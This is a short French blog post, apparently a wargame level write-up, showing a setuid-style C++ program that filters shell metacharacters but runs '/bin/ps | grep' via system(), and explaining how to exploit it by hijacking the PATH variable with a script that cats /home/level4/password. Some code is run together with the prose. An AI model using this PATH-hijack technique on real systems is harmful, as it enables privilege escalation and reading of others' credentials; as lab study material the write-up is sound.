Voilà le code de celui-ci :
#includeIci en regardant la commande executée on aurait tendance à penser à une injection de commande Unix de manière directe. Mais plus haut on voit un filtre contre celà. Il nous reste la possibilitée de faire usage de la faille system(), en effet, sous les Unixoides, l'emplacement des exécutables est défini grâce à la variable PATH. Il nous suffit de modifier cette variable et y mettre un script ou programme avec le nom qui va bien. Notre script :#include int main(int main, char **argv) { std::string command; std::string program; std::cout << "Enter the name of the program: "; std::cin >> program; for(unsigned int i = 0; i < program.length(); i++) { if(strchr(";^&|><", program[i]) != NULL) { std::cout << "Fatal error" << std::endl; return 1; } } // Execute the command to list the programs command = "/bin/ps |grep "; command += program; system(command.c_str()); return 0; }
#!/bin/sh cat /home/level4/password
Il n'y a plus qu'à modifier la variable PATH comme il faut ;).
m_101
Aucun commentaire :
Enregistrer un commentaire